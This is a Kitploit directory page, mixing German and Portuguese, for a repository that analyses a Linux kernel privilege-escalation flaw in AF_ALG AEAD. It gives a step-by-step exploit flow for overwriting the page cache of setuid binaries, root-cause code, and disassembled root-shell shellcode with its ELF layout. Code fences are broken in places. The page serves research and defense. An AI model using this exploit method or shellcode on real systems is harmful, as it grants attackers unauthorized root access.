Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
cve-2026-31431-copyfail — Bildungsbezogene Analyse von CVE-2026-31431, einer lokalen Privilegieneskalation im Linux-Kernel über die In-Place-Operation von AF_ALG AEAD, einschließlich technischer Ursachenanalyse, Erkennung und Gegenmaßnahmen. | Kitploit
Tools/GitHubGitHub/darioomatos/cve-2026-31431-copyfail
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationPapers & ForschungLernen & BildungKuratierte Ressourcen
GitHubdarioomatos/cve-2026-31431-copyfail

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

cve-2026-31431-copyfail

Bildungsbezogene Analyse von CVE-2026-31431, einer lokalen Privilegieneskalation im Linux-Kernel über die In-Place-Operation von AF_ALG AEAD, einschließlich technischer Ursachenanalyse, Erkennung und Gegenmaßnahmen.

Repository anzeigen
123vor 5 MonatenNoch nicht geprüft

CVE-2026-31431 — „Copy Fail" 🔐

Pädagogische technische Analyse einer der bedeutendsten Schwachstellen des Linux-Kernels seit Dirty Pipe (2022).
Dieses Repository dient Forschung, Studium und Verteidigung. Hier wird kein funktionsfähiger Exploit verteilt.


Inhaltsverzeichnis

  • Was ist das?
  • Für Laien: die Analogie
  • Zeitplan
  • Wie es technisch funktioniert
  • Der analysierte Shellcode
  • Vergleich mit ähnlichen Schwachstellen
  • Betroffene Systeme
  • Ist Android betroffen?
  • Erkennung
  • Mitigation und Patches
  • Studienimplementierungen
  • Referenzen

Was ist das?

CVE-2026-31431, auch Copy Fail genannt, ist eine Schwachstelle zur lokalen Rechteausweitung (LPE — Local Privilege Escalation) im Linux-Kernel. Sie ermöglicht es jedem Benutzer ohne Privilegien, innerhalb von Sekunden root-Zugriff zu erlangen.

AttributWert
CVECVE-2026-31431
CVSS-Score7.8 HOCH
TypLocal Privilege Escalation (LPE)
Subsystemcrypto/algif_aead.c — AF_ALG
Eingeführt inKernel 4.14 (Commit 72548b093ee3, Juli 2017)
Behoben in6.18.22 / 6.19.12 / 7.0 (Commit a664bf3d603d)
Entdeckt vonTaeyang Lee — Theori / Xint Code
Öffentliche Offenlegung29. April 2026
Öffentlicher PoCJa — Python-Skript mit ~732 Bytes

Für Laien: die Analogie

Stellen Sie sich vor, das Betriebssystem hat einen Arbeitsspeicher (genannt Page Cache), in dem Kopien der Dateien aufbewahrt werden, die gerade verwendet werden. Wenn Sie ein Programm ausführen, lädt das System dieses Programm in diesen Speicher und führt es von dort aus — nicht direkt von der Festplatte.

Copy Fail ermöglicht es einem normalen Benutzer, diese Kopie im Speicher eines speziellen Programms (eines setuid-Binärs, wie dem Befehl su) zu verändern, ohne die Originaldatei auf der Festplatte anzufassen. Die Datei auf der Festplatte bleibt intakt, aber wenn das Programm ausgeführt wird, liest das System die korrumpierte Version aus dem Speicher.

Es ist, als würde man das Rezept eines Gerichts im Gedächtnis eines Kochs austauschen, während er kocht — das ursprüngliche Kochbuch ändert sich nicht, aber das Gericht, das herauskommt, ist völlig anders.

Das Ergebnis: Das korrumpierte Programm führt Code des Angreifers mit root-Berechtigungen aus.

Was dies besonders gefährlich macht:

  • Es gibt kein Race-Condition-Fenster — es ist deterministisch
  • Es hinterlässt keine Spuren auf der Festplatte (Festplatten-Forensik erkennt es nicht)
  • Es funktioniert auf praktisch allen Linux-Distributionen seit 2017
  • Der ursprüngliche Exploit umfasst nur ~700 Bytes Python

Zeitplan```

2015 → AF_ALG ganha suporte a AEAD (algif_aead.c) authencesn introduz escrita em assoclen+cryptlen (mas ainda out-of-place)

2017 → Commit 72548b093ee3: otimização converte operação para in-place req->src = req->dst → páginas do page cache entram na scatterlist de escrita BUG INTRODUZIDO — passa despercebido por ~9 anos

2026 Mar 23 → Taeyang Lee (Theori) reporta ao time de segurança do kernel Linux Descoberta assistida por IA (Xint Code — ~1h de scan)

2026 Abr 1 → Patch mainline commitado (a664bf3d603d) — reverte a otimização de 2017

2026 Abr 22 → CVE-2026-31431 atribuída

2026 Abr 29 → Divulgação pública + PoC Python liberado Arch Linux, Fedora, Amazon Linux já com patches Ubuntu, RHEL, SUSE publicam guidance de mitigação

2026 Mai 1 → Kernels corrigidos chegam a AlmaLinux, CloudLinux, Rocky Linux Adicionado ao CISA KEV (Known Exploited Vulnerabilities) Exploits em Go e Rust aparecem em repositórios públicos

---

## So funktioniert es technisch

### Überblick über den Ablauf```
Atacante (usuário sem privilégios)
    │
    ├─ 1. socket(AF_ALG, SOCK_SEQPACKET)
    │       Cria socket de criptografia no kernel
    │       bind: "authencesn(hmac(sha256),cbc(aes))"
    │
    ├─ 2. setsockopt: define chave AEAD + authsize=4
    │
    ├─ 3. accept() → op_socket
    │
    ├─ 4. sendmsg([AAD + ciphertext], cmsg=[DECRYPT, IV, assoclen])
    │       AAD bytes [4:8] = os 4 bytes que queremos ESCREVER no page cache
    │
    ├─ 5. pipe() + splice(arquivo_alvo → pipe → op_socket)
    │       CRÍTICO: injeta páginas do page cache na scatterlist do AF_ALG
    │       As páginas do arquivo agora estão no destino GRAVÁVEL da operação
    │
    ├─ 6. recv() → dispara o authencesn
    │       authencesn::scatterwalk_map_and_copy(seqno_lo, dst, assoclen+cryptlen, 4, WRITE)
    │       Escreve 4 bytes em dst[assoclen + cryptlen]
    │       = escreve DIRETAMENTE no page cache do arquivo-alvo ✓
    │       HMAC falha → retorna EBADMSG → IGNORADO
    │
    └─ 7. Repete (4 bytes por iteração) até cobrir todo o ELF replacement
           Executa o binário alvo → root shell

Root cause: in-place operation + sg_chain()

Der Bug lebt in crypto/algif_aead.c. Im Jahr 2017 wurde die AEAD-Operation auf in-place umgestellt, um Performance zu gewinnen:```c // Antes (seguro): req->src e req->dst são scatterlists separadas // Depois (bugado, commit 72548b093ee3): req->src = req->dst; // mesma scatterlist para entrada e saída

// Para a tag de autenticação, em vez de copiar, o código encadeia por referência: sg_chain(areq_ctx->rsgl[0].sg, n, areq_ctx->tsgl); // ↑ As páginas do page cache (vindas do splice) agora estão na scatterlist de SAÍDA

Der Algorithmus `authencesn` verwendet den Zielpuffer als *Scratch-Space*, um Bytes der Extended Sequence Number (ESN) von IPsec neu anzuordnen:```c
// Em authencesn_decrypt():
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
//                                       ^^^^^^^^^^^^^^^^^^^^^^^^^
//                                       offset que ultrapassa o output buffer
//                                       e cai nas páginas do page cache encadeadas

Warum keine Spuren hinterlassen werden

Das Schreiben umgeht das VFS vollständig. Die modifizierte Seite wird vom Writeback-Mechanismus des Kernels nie als dirty markiert. Die Datei auf der Festplatte bleibt unverändert. Auf Hash basierende Integritätstools (aide, tripwire, inotifywait) erkennen nichts, da sie die Festplatte überwachen, nicht den Page Cache.


Der analysierte Shellcode

Der Exploit bettet ein Mini-ELF von 160 Bytes ein, das mit zlib komprimiert ist. Nach der Dekomprimierung lautet der ausführbare Teil:```nasm ; Offset 0x78 no arquivo ELF (entry point)

xor eax, eax ; limpa registradores xor edi, edi ; uid = 0 mov al, 0x69 ; syscall 105 = setuid syscall ; setuid(0) → effective UID = root

lea rdi, [rel bin_sh] ; rdi → "/bin/sh\0" xor esi, esi ; argv = NULL push 0x3b ; syscall 59 = execve pop rax cdq ; rdx = 0 (envp = NULL) syscall ; execve("/bin/sh", NULL, NULL)

; Fallback xor edi, edi push 0x3c ; syscall 60 = exit pop rax syscall ; exit(0)

bin_sh: db "/bin/sh", 0

**Minimale ELF-Struktur (insgesamt 160 Bytes):**```
Offset 0x00–0x3F  → ELF64 Header (64 bytes)
                    e_type=ET_EXEC, e_machine=EM_X86_64
                    e_entry=0x400078, e_phnum=1

Offset 0x40–0x77  → Program Header PT_LOAD (56 bytes)
                    p_flags=PF_R|PF_X, p_vaddr=0x400000
                    p_filesz=0x9e

Offset 0x78–0x9D  → Shellcode (26 bytes código + "/bin/sh\0")

Vergleich mit ähnlichen Schwachstellen

Tool herunterladen